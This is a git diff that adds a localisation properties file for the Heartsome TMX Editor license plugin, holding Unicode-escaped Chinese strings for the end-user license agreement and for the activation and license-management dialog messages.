b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message.properties new file mode 100644 index 0000000..3a66760 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/resource/message.properties @@ -0,0 +1,103 @@ +license.LicenseAgreementDialog.title = Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae +license.LicenseAgreementDialog.label = \u8bf7\u4ed4\u7ec6\u9605\u8bfb Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae\u7684\u5185\u5bb9\uff1a +license.LicenseAgreementDialog.agreeBtn = \u6211\u5df2\u4ed4\u7ec6\u9605\u8bfb\u5e76\u63a5\u53d7\u8be5\u8bb8\u53ef\u534f\u8bae +license.LicenseAgreementDialog.agreement = Heartsome \u8f6f\u4ef6\u6700\u7ec8\u7528\u6237\u8bb8\u53ef\u534f\u8bae\n\n\u672c\u8f6f\u4ef6\u8bb8\u53ef\u534f\u8bae\uff08\u201c\u8bb8\u53ef\u8bc1\u201d\uff09\u662f\u5728\u60a8\uff08\u201c\u6700\u7ec8\u7528\u6237\u201d\uff09\u4e0e Heartsome Technologies Ltd \u516c\u53f8\u4e4b\u95f4\u7b7e\u8ba2\u7684\u6cd5\u5f8b\u534f\u8bae\u3002Heartsome Technologies Ltd \u662f\u5728\u9999\u6e2f\uff08\u4e2d\u56fd\uff09\u6ce8\u518c\u7684\u516c\u53f8\uff08\u4ee5\u4e0b\u7b80\u79f0 HEARTSOME\uff09\u3002\u60a8\u4f7f\u7528 Heartsome \u8f6f\u4ef6\uff0c\u5373\u8868\u793a\u540c\u610f\u63a5\u53d7\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u7ea6\u675f\u3002\u672c\u8bb8\u53ef\u534f\u8bae\u4e2d\u6240\u4f7f\u7528\u7684\u672f\u8bed\u201cHeartsome \u8f6f\u4ef6\u201d\u662f\u6307\u201cHeartsome TMX Editor /Heartsome TMX \u7ffb\u8bd1\u8bb0\u5fc6\u5e93\u7f16\u8f91\u5668/Heartsome \u8bcd\u5178\u7f16\u8f91\u5668\u201d\u8f6f\u4ef6\uff0c\u5305\u62ec\u5df2\u7ecf\u6210\u529f\u6fc0\u6d3b\u7684\u4ea7\u54c1\u548c\u6211\u4eec\u5185\u5d4c\u7684\u4e3a\u9632\u6b62\u975e\u6cd5\u590d\u5236\u800c\u8bbe\u8ba1\u7684\u6280\u672f\u3002\u5982\u679c\u60a8\u4e0d\u6309\u7167\u8f6f\u4ef6\u548c\u6587\u6863\u4e2d\u8bf4\u660e\u7684\u6b65\u9aa4\u8fdb\u884c\u6fc0\u6d3b\uff0c\u53d7\u4fdd\u62a4\u7684\u6fc0\u6d3b\u6280\u672f\u5c06\u963b\u6b62\u60a8\u4f7f\u7528\u8f6f\u4ef6\u3002\n\n\u8bf7\u52a1\u5fc5\u5728\u4f7f\u7528 Heartsome \u8f6f\u4ef6\u4e4b\u524d\uff0c\u4ed4\u7ec6\u9605\u8bfb\u8bb8\u53ef\u8bc1\u3002\u4e00\u65e6\u60a8\u5f00\u59cb\u4f7f\u7528 Heartsome \u8f6f\u4ef6\uff0c \u5c06\u89c6\u4e3a\u60a8\u5df2\u7ecf\u63a5\u53d7\u4e86\u8bb8\u53ef\u8bc1\u4e2d\u7684\u6761\u6b3e\u3002\u5982\u679c\u60a8\u4e0d\u63a5\u53d7\u8bb8\u53ef\u8bc1\u6761\u6b3e\uff0c\u8bf7\u4e0d\u8981\u7ee7\u7eed\u5b89\u88c5\u6b64\u8f6f\u4ef6\u3002\n\n1. \u4e00\u822c\u89c4\u5b9a\n\u672c\u8bb8\u53ef\u8bc1\u6240\u9644\u7684\u8f6f\u4ef6\uff0c\u5305\u62ec\u6587\u4ef6\u53ca\u4efb\u4f55\u5b57\u4f53\uff0c\u50a8\u5b58\u4e8e\u4efb\u4f55\u5a92\u4f53\u6216\u4efb\u4f55\u5176\u5b83\u5f62\u5f0f\uff08\u7edf\u79f0\u201cHeartsome \u8f6f\u4ef6\u201d\uff09\uff0c\u662f\u7531 HEARTSOME \u8bb8\u53ef\u60a8\u4f7f\u7528\u800c\u975e\u6388\u4e88\u60a8\uff0c\u800c\u4e14\u60a8\u53ea\u53ef\u6839\u636e\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u52a0\u4ee5\u4f7f\u7528\u3002HEARTSOME \u4fdd\u7559\u4e00\u5207\u5e76\u672a\u660e\u786e\u6388\u4e88\u60a8\u7684\u6743\u5229\u3002\u60a8\u62e5\u6709\u8bb0\u5f55\u6709 Heartsome \u8f6f\u4ef6\u7684\u5a92\u4f53\uff0c\u4f46 HEARTSOME \u4fdd\u7559\u5bf9\u8f6f\u4ef6\u672c\u8eab\u7684\u6240\u6709\u6743\u3002\u800c\u4e14\uff0c\u6839\u636e\u672c\u8bb8\u53ef\u8bc1\u6761\u6b3e\u6388\u4e88\u7684\u6743\u5229\u5305\u62ec\u53d6\u4ee3\u53ca/\u6216\u8865\u5145\u539f\u5148 Heartsome \u8f6f\u4ef6\u4ea7\u54c1\u7684\u4efb\u4f55\u8f6f\u4ef6\u5347\u7ea7\u7248\u672c\uff0c\u9664\u975e\u8be5\u7b49\u5347\u7ea7\u7248\u672c\u53e6\u5916\u5e26\u6709\u72ec\u7acb\u8bb8\u53ef\u8bc1\u3002\n\n2. \u5141\u8bb8\u7684\u8bb8\u53ef\u8bc1\u4f7f\u7528\u65b9\u5f0f\u548c\u9650\u5236\n\u672c\u8bb8\u53ef\u8bc1\u6388\u4e88\u60a8\u5355\u72ec\u7684\u3001\u4e0d\u53ef\u8f6c\u8ba9\u7684\uff0c\u4e14\u975e\u4e13\u6709\u7684\u4f7f\u7528\u6b64\u8f6f\u4ef6\u7684\u6743\u5229\uff0c\u4e14\u6309\u7167\u672c\u534f\u8bae\u6761\u6b3e\uff0c\u53ea\u5728\u4e00\u53f0\u673a\u5668\u4f7f\u7528\u672c\u8f6f\u4ef6\u548c\u6587\u6863\u3002\u60a8\u53ea\u53ef\u4e3a\u5907\u4efd\u76ee\u7684\u800c\u4ee5\u673a\u5668\u53ef\u8bfb\u5f62\u5f0f\u590d\u5236\u4e00\u4efd Heartsome \u8f6f\u4ef6\uff1b\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8be5\u5907\u4efd\u526f\u672c\u5e26\u6709\u539f\u4ef6\u4e0a\u6240\u8f7d\u7684\u4e00\u5207\u7248\u6743\u6216\u5b83\u4e13\u6709\u6743\u901a\u77e5\u3002\u9664\u975e\u672c\u8bb8\u53ef\u8bc1\u5141\u8bb8\uff0c\u60a8\u4e0d\u53ef\u4ee5\u590d\u5236\u3001\u53cd\u7f16\u8bd1\u3001\u53cd\u5411\u5de5\u7a0b\u3001\u53cd\u6c47\u7f16\u3001\u4fee\u6539 Heartsome \u8f6f\u4ef6\u6216\u5236\u9020\u5176\u4efb\u4f55\u90e8\u5206\u7684\u884d\u751f\u3002\n\n3. \u8f6c\u8ba9\n\u60a8\u4e0d\u5f97\u51fa\u79df\u3001\u51fa\u501f\u3001\u6216\u518d\u8bb8\u53ef Heartsome \u8f6f\u4ef6\u3002\u4f46\u662f\uff0c\u5982\u679c\u60a8\u9700\u8981\u7684\u8bdd\uff0c\u60a8\u6709\u6743\u5229\u5c06 Heartsome \u8f6f\u4ef6\u7684\u4e00\u5207\u8bb8\u53ef\u4f7f\u7528\u6743\u4e00\u6b21\u6027\u5730\u6c38\u4e45\u8f6c\u8ba9\u7ed9\u53e6\u4e00\u65b9\uff0c\u6761\u4ef6\u662f: (a) \u8f6c\u8ba9\u5185\u5bb9\u5fc5\u987b\u5305\u62ec Heartsome \u8f6f\u4ef6\uff0c\u5305\u62ec\u5176\u6240\u6709\u7ec4\u4ef6\u3001\u539f\u5a92\u4f53\u3001\u5370\u5237\u54c1\u3001\u5b57\u4f53\u548c\u672c\u8bb8\u53ef\u8bc1\uff1b (b) \u60a8\u4e0d\u5f97\u4fdd\u7559 Heartsome \u8f6f\u4ef6\u7684\u5168\u90e8\u6216\u8005\u90e8\u5206\u526f\u672c\uff0c\u5305\u62ec\u50a8\u5b58\u4e8e\u8ba1\u7b97\u673a\u6216\u5176\u4ed6\u5b58\u50a8\u88c5\u7f6e\u4e0a\u7684\u526f\u672c\uff1b\u53ca (c) \u63a5\u6536 Heartsome \u8f6f\u4ef6\u7684\u4e00\u65b9\u6709\u8d23\u4efb\u9605\u8bfb\u5e76\u540c\u610f\u63a5\u53d7\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u548c\u6761\u4ef6\u3002\n\n4.\u7ec8\u6b62\u534f\u8bae\n\u5982\u679c\u60a8\u672a\u80fd\u9075\u5b88\u672c\u8bb8\u53ef\u8bc1\u4e2d\u7684\u4efb\u4f55\u6761\u6b3e\uff0c\u60a8\u5728\u672c\u8bb8\u53ef\u8bc1\u4e0b\u7684\u6743\u5229\u5c06\u7acb\u523b\u7ec8\u6b62\uff0c\u800c\u65e0\u9700 HEARTSOME \u53e6\u884c\u901a\u77e5\u3002\u540c\u65f6\uff0c\u5728\u672c\u8bb8\u53ef\u8bc1\u7ec8\u6b62\u65f6\uff0c\u60a8\u5e94\u8be5\u505c\u6b62 Heartsome \u8f6f\u4ef6\u7684\u4efb\u4f55\u4f7f\u7528\u884c\u4e3a\uff0c\u5e76\u9500\u6bc1 Heartsome \u8f6f\u4ef6\u7684\u5404\u79cd\u5a92\u4ecb\u5f62\u5f0f\u7684\u6240\u6709\u5168\u90e8\u6216\u90e8\u5206\u526f\u672c\u3002\n\n5. \u514d\u8d23\u58f0\u660e\n\u60a8\u660e\u786e\u8ba4\u8bc6\u5e76\u540c\u610f Heartsome \u8f6f\u4ef6\uff08\u5982\u4e0a\u6240\u8ff0\uff09\u7684\u4f7f\u7528\u548c\u670d\u52a1\uff08\u5982\u4ee5\u4e0b\u5b9a\u4e49\uff09, \u60a8\u987b\u81ea\u62c5\u6709\u5173\u529f\u6548\u6ee1\u610f\u5ea6\u3001\u6027\u80fd\u3001\u51c6\u786e\u6027\u53ca\u8d28\u91cf\u7684\u98ce\u9669\u3002\u6240\u4ea7\u751f\u7684\u7ed3\u679c\u5219\u89c6\u4e3a\u4e0e\u60a8\u76f4\u63a5\u52aa\u529b\u76f8\u5173\u3002 Heartsome \u8f6f\u4ef6\u53ca\u670d\u52a1\u201c\u6309\u73b0\u72b6\u201d\u63d0\u4f9b\u7684\uff0c\u9644\u6709\u4e00\u5207\u7455\u75b5\u800c\u4e0d\u5e26\u6709\u4efb\u4f55\u79cd\u7c7b\u7684\u62c5\u4fdd\uff0c HEARTSOME \u7279\u6b64\u5426\u8ba4\u5c31 Heartsome \u8f6f\u4ef6\u548c\u670d\u52a1\u63d0\u4f9b\u4efb\u4f55\u660e\u793a\u3001\u6697\u793a\u6216\u6cd5\u5b9a\u62c5\u4fdd\u548c\u6761\u4ef6\u3002\u800c\u4e14\uff0cHEARTSOME \u4e0d\u627f\u62c5\u62c5\u4fdd\u65f6\u6548\u6027\u3001\u6027\u80fd\u6ee1\u610f\u5ea6\u3001\u9002\u5408\u4f5c\u67d0\u7279\u5b9a\u7528\u9014\u53ca\u4e0d\u4fb5\u5bb3\u7b2c\u4e09\u65b9\u6743\u5229\u7684\u8d23\u4efb\u548c\u4e49\u52a1\u3002\u53e6\u5916\uff0cHEARTSOME \u4e0d\u62c5\u4fdd\u60a8\u4e0d\u53d7\u5e72\u6270\u5730\u4eab\u7528 Heartsome \u8f6f\u4ef6\uff1bHeartsome \u8f6f\u4ef6\u5305\u542b\u7684\u529f\u80fd\u4f1a\u7b26\u5408\u60a8\u7684\u8981\u6c42\uff1b\u60a8\u80fd\u6beb\u65e0\u9519\u8bef\u5730\u64cd\u4f5c Heartsome \u8f6f\u4ef6\uff1b\u6216 Heartsome \u8f6f\u4ef6\u7684\u7455\u75b5\u5c06\u88ab\u7ea0\u6b63\u3002HEARTSOME \u6216 HEARTSOME \u6388\u6743\u4ee3\u8868\u7ed9\u4e88\u7684\u53e3\u5934\u6216\u4e66\u9762\u7684\u4fe1\u606f\u6216\u610f\u89c1\u5747\u4e0d\u6784\u6210\u4efb\u4f55\u62c5\u4fdd\u3002\u5982\u53d1\u73b0 Heartsome \u8f6f\u4ef6\u5b58\u6709\u7455\u75b5\uff0c\u4e0d\u7ba1\u662f\u771f\u5b9e\u7684\u6216\u8fd8\u662f\u60f3\u50cf\u7684\uff0c\u60a8\u987b\u627f\u62c5\u6240\u6709\u5fc5\u8981\u7684\u7ef4\u4fee\u3001\u4fee\u7406\u6216\u7ea0\u6b63\u7684\u5168\u90e8\u8d39\u7528\u3002\n\n6. \u8d23\u4efb\u9650\u5236\n\u5728\u6cd5\u5f8b\u4e0d\u7981\u6b62\u7684\u8303\u56f4\u5185\uff0c\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4efb\u4f55\u4eba\u8eab\u4f24\u5bb3\u548c/\u6216\u4efb\u4f55\u9644\u5e26\u7684\u6216\u540e\u679c\u6027\u7684\u635f\u5bb3\uff0cHEARTSOME \u65e0\u9700\u8d1f\u8d23\u3002HEARTSOME \u65e0\u9700\u8d1f\u8d23\u5305\u62ec\u7531\u4e8e\u60a8\u4f7f\u7528\u6216\u65e0\u6cd5\u4f7f\u7528 Heartsome \u8f6f\u4ef6\u800c\u5bfc\u81f4\u7684\u5229\u6da6\u635f\u5931\u3001\u6570\u636e\u4e22\u5931\u3001\u4e1a\u52a1\u4e2d\u65ad\u7684\u635f\u5bb3\u8d54\u507f\u6216\u4efb\u4f55\u5176\u5b83\u5546\u4e1a\u635f\u5bb3\u8d54\u507f\u6216\u635f\u5931\uff0c\u65e0\u8bba\u5176\u6210\u56e0\u53ca\u57fa\u4e8e\u4f55\u79cd\u8d23\u4efb\u7406\u8bba\uff08\u5408\u540c\u3001\u4fb5\u6743\u6216\u5176\u5b83\uff09\uff0c\u5373\u4f7f HEARTSOME \u5df2\u77e5\u6089\u53ef\u80fd\u53d1\u751f\u4e0a\u8ff0\u635f\u5bb3\u8d54\u507f\u3002\u5728\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0cHEARTSOME \u5c31\u6240\u6709\u635f\u5bb3\u8d54\u507f\u5bf9\u60a8\u627f\u62c5\u7684\u5168\u90e8\u8d23\u4efb\u4e0d\u5e94\u8d85\u8fc7\u4e00\u7f8e\u5143 (US$1.00)\u3002\u5373\u4f7f\u524d\u8ff0\u8865\u6551\u63aa\u65bd\u5931\u53bb\u5176\u57fa\u672c\u4f5c\u7528\uff0c\u4e0a\u8ff0\u8d23\u4efb\u9650\u5236\u4ecd\u5c06\u9002\u7528\u3002\n\n7. \u6cd5\u5f8b\u7684\u53ef\u6267\u884c\u6027\n\u672c\u8bb8\u53ef\u8bc1\u53d7\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u6cd5\u5f8b\u7ba1\u8f96\u5e76\u6309\u8be5\u7b49\u6cd5\u5f8b\u89e3\u91ca\uff0c\u4e0e\u9999\u6e2f\u5c45\u6c11\u4e4b\u95f4\u8ba2\u7acb\u4e14\u5168\u90e8\u5728\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u5c65\u884c\u7684\u534f\u8bae\u4e00\u6837\u5177\u6709\u6548\u529b\u3002\u672c\u8bb8\u53ef\u8bc1\u4e0d\u53d7\u300a\u8054\u5408\u56fd\u56fd\u9645\u8d27\u7269\u9500\u552e\u5408\u540c\u516c\u7ea6\u300b\u7ba1\u8f96\uff0c\u5176\u5bf9\u8bb8\u53ef\u8bc1\u7684\u9002\u7528\u5728\u6b64\u660e\u786e\u6392\u9664\u3002\u5982\u679c\u57fa\u4e8e\u4efb\u4f55\u539f\u56e0\uff0c\u5177\u6709\u5408\u6cd5\u7ba1\u8f96\u6743\u7684\u6cd5\u9662\u88c1\u5b9a\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u6761\u6b3e\u6216\u5176\u4efb\u4f55\u90e8\u5206\u4e0d\u53ef\u88ab\u5f3a\u5236\u6267\u884c\uff0c\u672c\u8bb8\u53ef\u8bc1\u7684\u5176\u4f59\u89c4\u5b9a\u5e94\u7ee7\u7eed\u5145\u5206\u6709\u6548\u3002\n\n8. \u5b8c\u6574\u548c\u6700\u7ec8\u534f\u8bae\n\u672c\u8bb8\u53ef\u8bc1\u6784\u6210\u53cc\u65b9\u6709\u5173\u8bb8\u53ef\u4f7f\u7528\u7684 Heartsome \u8f6f\u4ef6\u7684\u5168\u90e8\u534f\u8bae\uff0c\u5e76\u53d6\u4ee3\u4e0e\u8be5\u76f8\u5173\u4e3b\u9898\u7684\u4ee5\u524d\u6216\u73b0\u5728\u7684\u6240\u6709\u7406\u89e3\u3002\u672a\u7ecf HEARTSOME \u7b7e\u7f72\u4e66\u9762\u6587\u4ef6\uff0c\u5bf9\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u4fee\u8ba2\u6216\u4fee\u6539\u4e0d\u4f5c\u4e3a\u6b63\u5f0f\u6750\u6599\u3002\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u8bd1\u672c\u4ec5\u4ec5\u4e3a\u4e86\u6ee1\u8db3\u5f53\u5730\u9700\u8981\u3002\u5982\u679c\u82f1\u6587\u672c\u4e0e\u4efb\u4f55\u975e\u82f1\u6587\u8bd1\u672c\u6709\u4efb\u4f55\u62b5\u89e6\u4e4b\u5904\uff0c\u5e94\u4ee5\u672c\u8bb8\u53ef\u8bc1\u7684\u82f1\u6587\u7248\u672c\u4e3a\u51c6\u3002\n\n9. \u77e5\u8bc6\u4ea7\u6743\u6240\u6709\u6743\uff0c\u4fdd\u7559\u6743\u5229\n\u672c\u8f6f\u4ef6\u7684\u4efb\u4f55\u6388\u6743\u526f\u672c\u7684\u77e5\u8bc6\u4ea7\u6743\u53ca\u76f8\u5173\u8f6f\u4ef6\u7684\u7ed3\u6784\u3001\u7ec4\u7ec7\u548c\u4ee3\u7801\u7684\u6709\u4ef7\u77e5\u8bc6\u4ea7\u6743\uff08\u4f8b\u5982\u5546\u4e1a\u79d8\u5bc6\u548c\u4fdd\u5bc6\u4fe1\u606f\uff09\u5747\u5c5e\u4e8e HEARTSOME\u3002\u672c\u8f6f\u4ef6\u4e2d\u6240\u4f7f\u7528\u5230\u7684\u7b2c\u4e09\u65b9\u8f6f\u4ef6\u7684\u77e5\u8bc6\u4ea7\u6743\u5f52\u8be5\u7b2c\u4e09\u65b9\u6240\u6709\u3002\u672c\u8f6f\u4ef6\u53d7\u6cd5\u5f8b\uff08\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u548c\u5176\u4ed6\u56fd\u5bb6\u7684\u7248\u6743\u6cd5\uff09\u4ee5\u53ca\u56fd\u9645\u534f\u7ea6\u6761\u6b3e\u4fdd\u62a4\u3002\u9664\u975e\u660e\u786e\u8868\u8ff0\uff0c\u5426\u5219\u672c\u534f\u8bae\u4e0d\u6388\u4e88\u7528\u6237\u5bf9\u672c\u8f6f\u4ef6\u7684\u4efb\u4f55\u77e5\u8bc6\u4ea7\u6743\uff0c\u4e14 HEARTSOME \u53ca\u5176\u4f9b\u5e94\u5546\u4fdd\u7559\u672a\u660e\u786e\u6388\u4e88\u7684\u5176\u4ed6\u6240\u6709\u6743\u5229\u3002\n\n10. \u652f\u6301\u670d\u52a1\n1) \u5982\u5728\u672c\u201c\u8f6f\u4ef6\u201d\u9644\u968f\u7528\u6237\u624b\u518c\u6216\u5176\u5b83\u6750\u6599\u4e2d\uff0cHEARTSOME \u660e\u793a\u5c06\u4e3a\u60a8\u63d0\u4f9b\u652f\u6301\u670d\u52a1\uff0c\u5219 HEARTSOME \u5c06\u4f9d\u7167\u8be5\u7528\u6237\u624b\u518c\u6216\u5176\u5b83\u6750\u6599\u4e2d\u6240\u8ff0\u7684\u5404\u9879\u653f\u7b56\u548c\u8ba1\u5212\u4e3a\u60a8\u63d0\u4f9b\u4e0e\u672c\u201c\u8f6f\u4ef6\u201d\u6709\u5173\u7684\u652f\u6301\u670d\u52a1\uff08\u201c\u652f\u6301\u670d\u52a1\u201d\uff09\u3002\n2) \u63d0\u4f9b\u7ed9\u60a8\u4f5c\u4e3a\u652f\u6301\u670d\u52a1\u7684\u4e00\u90e8\u5206\u7684\u4efb\u4f55\u9644\u52a0\u8f6f\u4ef6\u4ee3\u7801\uff08\u5982\u6709\uff09\u5e94\u88ab\u89c6\u4e3a\u672c\u201c\u8f6f\u4ef6\u201d\u7684\u4e00\u90e8\u5206\uff0c\u5e76\u987b\u53d7\u672c\u300a\u534f\u8bae\u300b\u4e2d\u7684\u5404\u9879\u6761\u6b3e\u7684\u62d8\u675f\u3002\n3) \u60a8\u660e\u793a\u540c\u610f\uff0cHEARTSOME \u53ef\u5c06\u60a8\u63d0\u4f9b\u7ed9 HEARTSOME \u4f5c\u4e3a\u652f\u6301\u670d\u52a1\u7684\u4e00\u90e8\u5206\u7684\u6280\u672f\u4fe1\u606f\uff08\u5982\u6709\uff09\u7528\u4e8e\u5546\u4e1a\u7528\u9014\uff0c\u5305\u62ec\u4ea7\u54c1\u652f\u6301\u548c\u5f00\u53d1\u3002\u9664\u4e86\u5728\u4e3a\u60a8\u63d0\u4f9b\u652f\u6301\u670d\u52a1\u65f6\u5fc5\u987b\u7684\u60c5\u51b5\u5916\uff0cHEARTSOME \u5728\u4f7f\u7528\u8fd9\u4e9b\u6280\u672f\u4fe1\u606f\u65f6\u4e0d\u4f1a\u63d0\u53ca\u6709\u5173\u60a8\u7684\u4efb\u4f55\u8eab\u4efd\u4fe1\u606f\uff0c\u9664\u975e\u83b7\u5f97\u60a8\u7684\u8bb8\u53ef\u3002 +license.LicenseAgreementDialog.nextBtn = \u4e0b\u4e00\u6b65(&N) +license.LicenseAgreementDialog.exitBtn = \u5173\u95ed(&C) +license.LicenseManageDialog.title = Heartsome TMX Editor \u8bb8\u53ef\u8bc1\u7ba1\u7406 +license.LicenseManageDialog.statusGroup = \u8bb8\u53ef\u8bc1\u72b6\u6001 +license.LicenseManageDialog.statusLabel = \u5f53\u524d\u8bb8\u53ef\u8bc1\u72b6\u6001\uff1a +license.LicenseManageDialog.typeLabel = \u5f53\u524d\u8bb8\u53ef\u7c7b\u578b\uff1a +license.LicenseManageDialog.notActiveLabel = \u672a\u6fc0\u6d3b +license.LicenseManageDialog.activeLabel = \u5df2\u6fc0\u6d3b +license.LicenseManageDialog.cancelActiveButton = \u53d6\u6d88\u6fc0\u6d3b +license.LicenseManageDialog.confirm = \u786e\u8ba4 +license.LicenseManageDialog.confirmMessage = \u60a8\u6b63\u5728\u53d6\u6d88\u6fc0\u6d3b\u5f53\u524d\u8bb8\u53ef\u8bc1\uff0c\u53d6\u6d88\u6fc0\u6d3b\u540e\uff1a\n1\u3001\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\uff0c\u5fc5\u987b\u6fc0\u6d3b\u4e00\u4e2a\u6709\u6548\u7684\u8bb8\u53ef\u8bc1\u624d\u53ef\u4ee5\u7ee7\u7eed\u4f7f\u7528\u672c\u8f6f\u4ef6\uff1b\n2\u3001\u60a8\u53ef\u4ee5\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u3001\u6216\u5176\u4ed6\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u6fc0\u6d3b\u8be5\u8bb8\u53ef\u8bc1\u3002\n\n\u786e\u5b9a\u8981\u53d6\u6d88\u6fc0\u6d3b\u5f53\u524d\u8bb8\u53ef\u8bc1\u5417\uff1f +license.LicenseManageDialog.licenseIdGroup = \u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7 +license.LicenseManageDialog.licenseIdLabel = \u5e8f\u5217\u53f7\uff1a +license.LicenseManageDialog.activeBtn = \u6fc0\u6d3b(&A) +license.LicenseManageDialog.exitBtn = \u5173\u95ed(&C) +license.LicenseManageDialog.label1 = \u5982\u679c\u60a8\u6ca1\u6709\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\uff0c\u8bf7 +license.LicenseManageDialog.label2 = \u6216 +license.LicenseManageDialog.label3 = \u3002 +license.LicenseManageDialog.link1 = \u8d2d\u4e70\u5546\u4e1a\u8bb8\u53ef\u8bc1 +license.LicenseManageDialog.link2 = \u7533\u8bf7\u8bd5\u7528\u8bb8\u53ef\u8bc1 +license.LicenseManageDialog.label4 = \u6b63\u5728\u9a8c\u8bc1\uff1a +license.LicenseManageDialog.titleInvalid = \u9519\u8bef +license.LicenseManageDialog.infoInvalid = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u89e3\u51b3\u3002 +license.LicenseManageDialog.notice = \u63d0\u793a +license.LicenseManageDialog.activeSuccess = \u60a8\u7684\u8bb8\u53ef\u8bc1\u5df2\u6210\u529f\u6fc0\u6d3b\u3002 +license.LicenseManageDialog.activeFail = \u6fc0\u6d3b\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.tempMutilActive = \u672c\u4ea7\u54c1\u5728\u5f53\u524d\u8ba1\u7b97\u673a\u4e0a\u7684\u8bd5\u7528\u671f\u5df2\u6ee1\u3002\n\n\u82e5\u60a8\u521a\u521a\u83b7\u5f97\u8be5\u8bb8\u53ef\u8bc1\uff0c\u5219\u53ef\u80fd\u662f\u56e0\u4e3a\u60a8\u6216\u4e4b\u524d\u4f7f\u7528\u8be5\u8ba1\u7b97\u673a\u7684\u7528\u6237\u66fe\u7ecf\u6fc0\u6d3b\u8fc7\u672c\u4ea7\u54c1\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u3002\u82e5\u60a8\u5e0c\u671b\u5ef6\u957f\u8bd5\u7528\u671f\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u5e76\u5c3d\u53ef\u80fd\u63d0\u4f9b\u60a8\u4e4b\u524d\u7533\u8bf7\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u3002 +license.LicenseManageDialog.activedLicense = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5df2\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\uff0c\u8bf7\u8f93\u5165\u65b0\u7684\u8bb8\u53ef\u8bc1\u3002\n\n\u82e5\u60a8\u5df2\u66f4\u6362\u8ba1\u7b97\u673a\uff0c\u8bf7\u5148\u5728\u5df2\u6fc0\u6d3b\u6b64\u8bb8\u53ef\u8bc1\u7684\u8ba1\u7b97\u673a\u4e0a\u201c\u53d6\u6d88\u6fc0\u6d3b\u201d\uff0c\u7136\u540e\u91cd\u65b0\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\u3002\n\u82e5\u5df2\u6fc0\u6d3b\u6b64\u8bb8\u53ef\u8bc1\u7684\u8ba1\u7b97\u673a\u5df2\u7ecf\u65e0\u6cd5\u4f7f\u7528\u3001\u6216\u5176\u64cd\u4f5c\u7cfb\u7edf\u5df2\u88ab\u683c\u5f0f\u5316\uff0c\u8bf7\u5148\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u4ee5\u4eba\u5de5\u65b9\u5f0f\u53d6\u6d88\u6fc0\u6d3b\u3002 +license.LicenseManageDialog.titleNet = \u9519\u8bef +license.LicenseManageDialog.infoNet = \u7f51\u7edc\u8fde\u63a5\u5f02\u5e38\uff0c\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +license.LicenseManageDialog.typeTemp = TMX Editor Release 8 \u8bd5\u7528\u8bb8\u53ef +license.LicenseManageDialog.typeBusiness = TMX Editor Release 8 \u5546\u4e1a\u8bb8\u53ef +license.LicenseManageDialog.utilDate = \u8bd5\u7528\u671f\u9650\uff1a +license.LicenseManageDialog.unvalidate = \u65e0\u6cd5\u9a8c\u8bc1 +license.LicenseManageDialog.noticeLbl = 